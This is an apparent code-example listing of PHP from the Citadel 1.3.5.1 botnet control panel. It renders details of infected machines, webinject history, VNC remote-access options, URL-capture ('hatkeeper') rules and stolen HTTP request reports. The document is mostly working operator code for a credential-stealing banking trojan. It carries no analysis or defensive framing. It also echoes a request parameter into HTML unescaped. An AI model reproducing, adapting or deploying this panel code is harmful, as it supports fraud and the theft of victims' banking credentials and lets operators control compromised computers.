コード例 #1
0
ファイル: cp.php プロジェクト: CCrashBandicot/Citadel_1.3.5.1
</script>
HTML;
                $data .= str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $botDisplay), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END;
                //Базовая информация.
                $isExists = isset($res[$bot]);
                if (!$isExists) {
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
                } else {
                    $l = $res[$bot];
                    $eCount++;
                    $ipv4 = binaryIpToString($l['ipv4']);
                    if ($l['nat_status'] == 0) {
                        $ipv4 .= '*';
                    }
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_FLAGS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['flags'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U2) . ($bedit ? str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U2_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . THEME_LIST_ITEM_LISTBOX_U2_END : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2)) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U1) . ($bedit ? str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U1) : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U1)) . THEME_LIST_ROW_END;
                    $data .= '<tr><td colspan=2>' . vncplugin_draw_connect_options($bot) . '</td></tr>';
                    /* plugin: webinjects */
                    if (file_exists('system/botnet_webinjects.php')) {
                        require_once 'system/lib/dbpdo.php';
                        require_once 'system/lib/guiutil.php';
                        $db = dbPDO::singleton();
                        $q_execs = $db->query('SELECT
                        `b`.`name` AS `b_name`,
                        `h`.`etime`,
                        `h`.`exec_error`,
                        `h`.`debug_error`
                   FROM `botnet_webinjects_history` `h`
                        LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
                   WHERE `h`.`botId` = :botId
                   ;', array(':botId' => $bot));
                        $data .= '<tr><td colspan=2>';
コード例 #2
0
    }
    # Header
    themeSmall(LNG_REPORTS_VIEW_TITLE, '', 0, getBotJsMenu('botmenu'), 0);
    # Restrict access
    if ($report->type != BLT_COMMANDLINE_RESULT) {
        if (empty($GLOBALS['userData']['r_reports_db']) && empty($GLOBALS['userData']['r_reports_db_cmd'])) {
            die('Insufficient permissions');
        }
    }
    # Sidebar
    echo '<aside class="sidebar"', ' data-table="', $_GET['t'], '" data-report="', $report->id, '" ', ' data-botid="', htmlentities($report->bot_id), '" data-ipv4="', htmlentities($report->ipv4), '"', '>', '<ul>', '<li id="aside-report-whois">', '<button>', LNG_REPORTS_ASIDE_WHOIS, '</button>', '</li>';
    if (file_exists('system/reports_fav.php')) {
        echo '<li id="aside-report-favorite">', '<button>', LNG_REPORTS_ASIDE_FAVORITE1, '</button>', '<form action="?m=/reports_fav/ajaxAdd" method="POST">', '<input type="hidden" name="table" value="', $_GET['t'], '" />', '<input type="hidden" name="report_id" value="', $_GET['id'], '" />', '<textarea name="comment" rows="20" placeholder="comment">', htmlentities($report->favorite_comment), '</textarea>', '<input type="submit" value="', LNG_REPORTS_ASIDE_SAVE, '" />', '</form>', '</li>';
    }
    if (file_exists('system/botnet_vnc.php')) {
        echo '<li id="aside-vnc"><dl><dt class="collapsible collapsed" id="aside-vnc">VNC</dt>', '<dd>' . vncplugin_draw_connect_options($report->bot_id) . '</dd>';
    }
    if (file_exists('system/reports_hatkeeper.php')) {
        $rule_domain = parse_url($report->path_source, PHP_URL_HOST);
        if (strncasecmp($rule_domain, 'www.', 4) === 0) {
            $rule_domain = substr($rule_domain, 4);
        }
        $rule_urls = array('url' => "^{$report->path_source}", 'domain' => "^.+://(.+\\.|){$rule_domain}/.*", 'any' => '^.*');
        echo '<li id="aside-hatkeeper"><dl><dt class="collapsible collapsed">', LNG_REPORTS_ASIDE_HK, '</dt>', '<dd>', '<form ', ' action="?m=reports_hatkeeper/AjaxInsert&botId=', rawurlencode($report->bot_id), '&report=', rawurlencode($_GET['t'] . ':' . $report->id), '" ', ' method="POST"><ul>', '<li><dl>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_URL, '</dt>', '<dd>', '<input type="text" name="rule_url" value="', htmlentities($rule_urls['domain']), '" />', '<ul class="url-rule-presets">', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['url']), '">URL</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['domain']), '">Domain</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['any']), '">Any</a>', '</li>', '</ul>', '</dd>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_POST, '</dt>', '<dd>', '<textarea name="rule_post" placeholder="a=b" rows=10></textarea>', '</dd>', '</dl>', '<li><label><input type="checkbox" name="mkenvironment" value="1" /> ' . LNG_REPORTS_ASIDE_HK_MKENVIRONMENT . '</label>', file_exists('system/botnet_vnc.php') ? '<li><label><input type="checkbox" name="bsocks" value="1" /> ' . LNG_REPORTS_ASIDE_HK_BSOCKS . '</label>' : '', '<li><input type="submit" value="', LNG_REPORTS_ASIDE_HK_CREATE, '" />', '<li id="hatkeeper-config-link">', '<a href="' . authTokenURL('reports_hatkeeper/xml') . '&botId=', rawurlencode($report->bot_id), '" target="_blank">', LNG_REPORTS_ASIDE_HK_CONFIGLINK, '</a>', '</ul></form>', '</dd>';
    }
    echo '</ul>', '</aside>';
    # Display
    echo '<table id="full-bot-report" class="bot-report zebra lined" ', 'data-table="', $_GET['t'], '" data-report="', $report->id, '" ', 'data-botid="', htmlentities($report->bot_id), '" data-ipv4="', htmlentities($report->ipv4), '"', '>', '<caption>', sprintf(LNG_REPORTS_VIEW_TITLE2, bltToLng($report->type), numberFormatAsInt(strlen($report->context))), ' ', gmdate(LNG_FORMAT_DT, $report->rtime), '</caption>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_BOTID, '</th>', '<td>', '<img src="theme/images/icons/' . ($report->bot_online && $report->bot_online <= $GLOBALS['config']['botnet_timeout'] ? 'online' : 'offline') . '.png" /> ', botPopupMenu($report->bot_id, 'botmenu', $report->bot_comment), ' (', htmlentities($report->ip_c), ' — ', $report->ip_country, ')', ' ', htmlentities($report->botnet), '</td>', '</tr>', '<tr class="field-bot-comment">', '<th>', LNG_REPORTS_VIEW_COMMENT, '</th>', '<td>', '<form action="?', mkuri(1, 'm'), '&ajax=bot-comment&botId=', rawurlencode($report->bot_id), '" method="POST" class="ajax_form_update" data-title="Bot comment">', '<input type="text" name="comment" value="', htmlentities($report->bot_comment), '" />', '<input type="submit" value="', LNG_REPORTS_VIEW_COMMENT_SAVE, '" />', '</form>', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_BOT_RTIME_LAST, '</th>', '<td>', timeago(time() - $report->bot_rtime_last), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_VERSION, '</th>', '<td>', intToVersion($report->bot_version), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_OS, '</th>', '<td>', osDataToString($report->os_version), ' (', htmlentities($report->language_id), ')', '</td>', '</tr>', '<tr class="field-ipv4">', '<th>', LNG_REPORTS_VIEW_IPV4, '</th>', '<td>', htmlentities($report->ipv4), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TIME, '</th>', '<td>', gmdate(LNG_FORMAT_DT, $report->time_system + $report->time_localbias), ' (GMT', timeBiasToText($report->time_localbias), ')', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TICK, '</th>', '<td>', tickCountToText($report->time_tick / 1000), '</td>', '</tr>', '</TBODY>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCUSER, '</th>', '<td>', htmlspecialchars($report->process_user), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCNAME, '</th>', '<td>', htmlspecialchars($report->process_name), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCINFO, '</th>', '<td>', htmlentities($report->process_info), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_SOURCE, file_exists('system/reports_neurostat.php') && ($report->type == BLT_HTTP_REQUEST || $report->type == BLT_HTTPS_REQUEST) ? ' <a href="?m=reports_neurostat/stat' . '&botId=' . rawurlencode($report->bot_id) . '&url=' . rawurlencode($report->path_source) . '" ' . ' target="_blank"> <img src="theme/images/icons/brain.png" /> </a> ' : '', '</th>', '<td>', htmlentities($report->path_source), '</td>', '</tr>', '<tr class="context">', '<td colspan="2">', '<a href="#" id="decode-context">[ Decode ]</a>', '<div class="context">', htmlentities($report->context), '</div>', '</td>', '</tr>', '</TBODY>', '</table>';
    echo <<<HTML
<script src="theme/js/page-reports_db-report.js"></script>
HTML;